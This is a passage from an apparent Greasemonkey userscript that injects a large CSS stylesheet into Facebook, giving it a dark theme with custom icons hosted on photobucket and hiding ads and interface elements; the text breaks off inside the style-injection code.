url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Friends.png\") no-repeat center center !important;}\n\n#fbMessagesJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Mail_Icon-gray.png\") no-repeat center center !important;}\n\n#fbMessagesJewel:hover .jewelButton,#fbMessagesJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Mail_Icon.png\") no-repeat center center !important;}\n\n#fbNotificationsJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Earth-gray.png\") no-repeat center center !important;}\n\n#fbNotificationsJewel:hover .jewelButton,#fbNotificationsJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Earth.png\") no-repeat center center !important;}\n\n.topBorder,.bottomBorder {background: #000 !important;}\n\n.pl-item,.ical,.pop_content {background-color: #333 !important;}\n.pl-alt {background-color: #222 !important;}\n\n.friend:hover,.friend:not(.idle):hover,.fbTimelineRibbon {background-color: rgba(10,10,10,.6) !important;}\n\n.maps_arrow,#sidebar_ads,.available .x_to_hide,.left_line,.line_mask,.chat_input_border,.connect_widget_button_count_nub,\n.uiStreamPrivacyContainer .uiTooltip .img,.UIObjectListing_PicRounded,.UIRoundedImage_CornersSprite,.UITabGrid_Link:hover .UITabGrid_LinkCorner_TL,.UITabGrid_Link:hover .UITabGrid_LinkCorner_TR,.UITabGrid_Link:hover .UITabGrid_LinkCorner_BL,.UITabGrid_Link:hover .UITabGrid_LinkCorner_BR,.UILinkButton_R,.pagesAboutDivider {visibility:hidden !important;}\n\n.nub,#contentCurve,#pagelet_netego_ads,img.plus,.highlighter,.uiToolbarDivider,.bfb_sticky_note_arrow_border,.bfb_sticky_note_arrow,#ConfirmBannerOuterContainer,.uiStreamHeaderBorder,.topBorder,.bottomBorder,.middleLink:after,.sideNavItem .uiCloseButton,.mask,.topSectionBottomBorder {display: none !important;}\n\n.fbChatBuddyListTypeahead {display: block !important;}\n\n.chat_input {width: 195px !important;}\n\n.fb_song_play_btn,.friend,.wrap,.uiTypeahead,.share,.raised,.donated,.recruited,.srch_landing,.story_editor,.jewelCount span {background-color: transparent !important;}\n\n.extended_link div {background-color: #fff !important}\n\n#fbTimelineHeadline,.coverImage {width: 851px !important; margin-left: 1px !important;}\n\n*:not([style*=border]) {border-color: #000 !important;}\n\n#feed_content_section_applications *,#feed_header_section_friend_lists *,.summary,.summary *,.UIMediaHeader_TitleWash,.UIMediaHeader_TitleWrapper,.feedbackView .comment th div,.searchroot,.composerView th div,.reply th div,.borderTagBox,.innerTagBox,.friend,.fbNubFlyoutTitlebar,.fbNubButton {border-color: transparent !important;}\n\n.innerTagBox:hover {border-color: rgba(10,10,10,.45) !important;box-shadow: 0 0 5px 4px #FF9D52 !important;}\n\n.status_placeholder,.UIComposer_TDTextArea,.UIComposer_TextAreaShadow,.UIContentBox ,.box_column,form.comment div,.comment_box div,#tagger,.UIMediaItem_Wrapper,#chat_tab_bar *,.UIActionMenu_ButtonOuter input[type=\"button\"],.inner_button,.UIActionButton_Link,.divider,.UIComposer_Attachment_TDTextArea,#confirm_button,#global_maps_link,.advanced_selector,#presence_ui *,.fbFooterBorder,.wash,.main_body,.settings_screenshot,.uiBlingBox,.inputContainer *,.uiMentionsInput,.uiTypeahead,.editNoteWrapperInput,.date_divider,.chatStatus,#headNav,.jewelCount span,.fbFeedbackMentions .wrap,.uiSearchInput span,.uiSearchInput,.fbChatSidebarMessage,.devsitePage .body > .content,.timelineUnitContainer,.fbTimelineTopSection,.coverBorder,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,#navAccount.openToggler,#contentArea,.uiStreamStoryAttachmentOnly,.ogSliderAnimPagerPrev .content,.ogSliderAnimPagerNext .content,.ogSliderAnimPagerPrev .wrapper,.ogSliderAnimPagerNext .wrapper,.ogSingleStoryContent,.ogAggregationAnimSubstorySlideSingle,.ogAggregationAnimSubstoryHideSelector .uiCloseButton {border: none !important;}\n\n.uiStream .uiStreamHeaderTall {border-top: none !important; border-bottom: none !important;}\n\n.attachment_link a:hover,input[type=\"input\"],input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),.UITabGrid_Link:hover,.UIFilterList_Selected,.make_new_list_button_table,.confirm_button,.fb_menu_title a:hover,.Tabset_selected {border-bottom-color: #000 !important;border-bottom-width: 1px !important;border-bottom-style: solid !important;border-top-color: #000 !important;border-top-width: 1px !important;border-top-style: solid !important;border-left-color: #000 !important;border-left-width: 1px !important;border-left-style: solid !important;border-right-color: #000 !important;border-right-width: 1px !important;border-right-style: solid !important;-moz-appearance:none!important;}\n\n.UITabGrid_Link,.fb_menu_title a,.button_main,.button_text,.button_left {border-bottom-color: transparent !important;border-bottom-width: 1px !important;border-bottom-style: solid !important;border-top-color: transparent !important;border-top-width: 1px !important;border-top-style: solid !important;border-left-color: transparent !important;border-left-width: 1px !important;border-left-style: solid !important;border-right-color: transparent !important;border-right-width: 1px !important;border-right-style: solid !important;-moz-appearance:none!important;}\n\n.UIObjectListing_RemoveLink,.UIIntentionalStory_CloseButton,.remove,.x_to_hide,.fg_action_hide a,.notif_del,.UIComposer_AttachmentArea_CloseButton,.delete_msg a,.ImageBlock_Hide, .fbSettingsListItemDelete,.fg_action_hide,img[src=\"http://static.ak.fbcdn.net/images/streams/x_hide_story.gif?8:142665\"],.close,.uiSelector .uiCloseButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/closeX.png\") no-repeat !important;text-decoration: none !important;height: 18px !important;}\n\ndiv.fbChatSidebarDropdown .uiCloseButton,.fbDockChatDropdown .uiSelectorButton,.storyInnerContent .uiSelectorButton,.fbTimelineAllActivityStorySelector .uiButton .img {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/GrayGear_15.png\") center center no-repeat !important; width: 26px !important;}\n\ndiv.fbChatSidebarDropdown .uiCloseButton {height: 23px !important;}\n\n.videoicon {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/video_chat_small.png\") center center no-repeat !important; }\n\n.uiStream .uiStreamFirstStory .highlightSelector .uiSelectorButton {margin-top: -5px !important;}\n\n.UIObjectListing_RemoveLink,.UIIntentionalStory_CloseButton,.remove,.x_to_hide,.fg_action_hide a,.notif_del,.UIComposer_AttachmentArea_CloseButton,.delete_msg a,.ImageBlock_Hide,.uiCloseButton,.fbSettingsListItemDelete {width: 18px !important;}\n.fg_action_hide {width: 18px !important; margin-top: 0 !important; }\n\n.fg_action_hide_container {width: 18px !important;}\n.uiSideNav li {left: 0 !important;padding-left: 0 !important;}\n\n.UIHotStory_Bling,.UIHotStory_BlingCount:hover,.request_link:hover,.request_link span:hover,.uiLinkButton {text-decoration: none !important;}\n\nli form + .navSubmenu > div > div {padding: 12px !important; margin-top: -12px !important;}\nli form + .navSubmenu > div img {margin-top: 12px !important;}\n\n.uiStreamBoulderHighlight {border-right: none !important;}\n\n\n.UIMediaItem_Photo .UIMediaItem_Wrapper {padding: 10px !important;}\n\n#footerRight,.fg_action_hide {margin-right: 5px !important;}\n\n.fbx_stream_header,.pas .input {padding: 5px !important;}\n\n.ptm {padding: 5px 0 !important;}\n\n.fbTimelineUnitActor {padding-top: 5px !important;}\n.home_right_column {padding-top: 0 !important;}\n\n.uiButton[tooltip-alignh=\"right\"] .uiButtonText {padding: 2px 10px 3px 10px !important; font-weight: bold !important;}\n\n.uiSideNav .uiCloseButton {left: 160px !important;border: none !important;}\n.uiSideNav .uiCloseButton input {padding-left: 2px !important;padding-right: 2px !important;margin-top: -4px !important;border: none !important;}\n\n.storyInnerContent .uiTooltip.uiCloseButton {margin-right: -10px !important;}\n.storyInnerContent .stat_elem .wrap .uiSelectorButton.uiCloseButton,.uiFutureSideNavSection .open .item,.uiFutureSideNavSection .open .subitem,.uiFutureSideNavSection .open .subitem .rfloat,.uiSideNav .subitem,.uiSideNav .open .item {margin-right: 0 !important;}\n\n.audienceSelector .wrap .uiSelectorButton {padding: 2px !important;}\n\n.jewelHeader,.fbSettingsListItemDelete {margin: 0 !important;}\n.UITitledBox_Title {margin-left: 4px;margin-top:1px;}\n\n.uiHeader .uiHeaderTitle {margin-left: 7px !important;}\n.fbx_stream_header .uiHeaderTitle,#footerLeft {margin-left: 5px !important;}\n\n.comments_add_box_image {margin-right: -5px !important;}\n.show_advanced_controls {margin-top:-5px !important;}\n.chat_window_wrapper {margin-bottom: 3px !important;}\n.UIUpcoming_Item {margin-bottom: 5px !important;}\n#pagelet_right_sidebar {margin-left: 0 !important;}\n\n.profile-pagelet-section,.uiStreamHeaderTall,.timelineRecentActivityLabel,.friendsBoxHeader {padding: 5px 10px !important;}\n\n.GBSearchBox_Button,.uiSearchInput button {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/search.png\") center center !important;}\n.uiSearchInput button {width: 23px !important;height: 21px !important;top: 0 !important;background-position: 3px 2px !important;}\n\n.UIButton_Text,.UISearchInput_Text {font-weight: normal !important;}\n\n.x_to_hide,.top_bar_pic .UIRoundedImage {margin: 0 !important;padding: 0 !important;}\n\n.uiHeaderActions .uiButton .uiButtonText {margin-left: 15px !important;}\n\n#contentArea {padding: 0 12px !important; }\n\n.searchroot,#share_submit input {padding-right: 5px !important; }\n.composerView {padding-left: 8px !important;padding-bottom: 4px !important;}\n.info_section {padding: 6px !important;}\n.uiInfoTable .dataRow .inputtext {min-width: 200px !important;}\n\n.fbPrivacyWidget .uiButton .mrs,.uiButtonSuppressed .mrs {margin: 0 -10px 0 6px !important;}\n\n.uiStreamPrivacyContainer .uiTooltip,.UIActionMenu_Lock,.fbPrivacyLockButton,.fbPrivacyLockButton:hover,.sx_7bedb4,.fbPrivacyWidget .uiButton .mrs,.uiButtonSuppressed .mrs,div.fbPrivacyLockSelector {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/privacylock.png\") no-repeat center center !important;}\n\n.jewelCount,.pagesTimelineButtonPagelet .counter {margin: -8px -4px 0 0 !important;padding: 1px 4px !important;}\n\n#share_submit {padding: 0 !important;border: none !important;}\n#share_submit input,.friend_list_container .friend {padding-left: 5px !important;}\n\na{outline: none !important;}\n\n#contact_importer_container input[value=\"Find Friends\"] {border: none !important;box-shadow: none !important;}\n\n#pageLogo {margin-left: -1px !important; }\n\n#pageLogo a {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Facebook.png\") no-repeat center center !important;left: 0 !important;width: 107px !important;margin-right: 1px !important; margin-top: 0 !important;}\n\n#pageLogo a:hover {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Facebook-glow.png\") no-repeat center center !important;}\n\n#pageHead {margin-top: -6px !important;}\n\n.mainWrapper .uiSelectorButton { margin-top: 10px !important; }\n\n#globalContainer {margin-top: 3px !important;}\n\n.platform_dialog #blueBar,.withCanvasNav #blueBar {position: absolute !important; margin-top: 10px !important; height: 30px !important; }\n\n.friend_list_container .friend {margin-right: 0 !important; }\n\n.list_select {padding: 3px !important;}\n\n.fbNubFlyout .input {width: 254px !important;}\n\n.highlightIndicator {top: 0 !important;}\n\n.audienceSelector .uiButtonText {padding-left: 8px !important;}\n.profile #pagelet_netego {margin-top: -60px !important;margin-left: -30px !important;}\n.pas .input,.selectedCheckable .checkmark {margin-left: -5px !important;}\n\n.removable {top: 0 !important;bottom: 0 !important;margin-top: -4px !important;border: none !important;}\n\n.uiSideNavCount,.uiStreamAttachments div embed,.jewelCount,.uiButton,.fbChatSidebarFooter .button,.uiSearchInput button,.uiSelectorButton,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.pluginRecommendationsBarButtonLike {border-radius: 6px !important;}\n\n.fbActivity,.UIRoundedImage {margin: 4px !important;}\n\n#facebook:not(.tinyViewport) body:not(.UIPage_LoggedOut):not(.fbIndex):not(.platform_dialog):not(.withCanvasNav) #blueBar {width: 100% !important;margin: 0 auto !important;top: 10px !important;height: 30px !important;}\n\n.uiUfiSmall .commentArea .textBox:not([style*=\"height\"]) {height: 20px !important; }\n.composerTypeahead .textInput:not([style*=\"height\"]){height: 27px !important; }\n\n.dataTable .inputtext,.uiInfoTable .dataRow .inputtext {padding-left: 20px !important;}\n\n.fbTimelineAllActivityStorySelector .uiButton,.fbDockChatTabFlyout .close {margin-top: 3px !important;}\n.fbTimelineAllActivityStorySelector .uiButton .img {margin: 0 -3px !important;}\n\n.audienceSelector .uiButton {padding: 2px 0 2px 0 !important;}\n.audienceSelector .uiButton .img {margin-right: -1px !important;}\n\n.fbTimelineContentHeader .uiHeaderTitle {font-size: 2.0em !important;}\n\n\n.ogSliderAnimPagerGridTd .page {margin: 0 14px 0 -5px !important;}\n.ogSliderAnimPagerNext .content {margin-left: -18px !important;}\n#bfb_options_button_li {float:left !important;}\n\n.ego_column { display:none ; }"; if (typeof GM_addStyle != "undefined") { GM_addStyle(css); } else if (typeof PRO_ad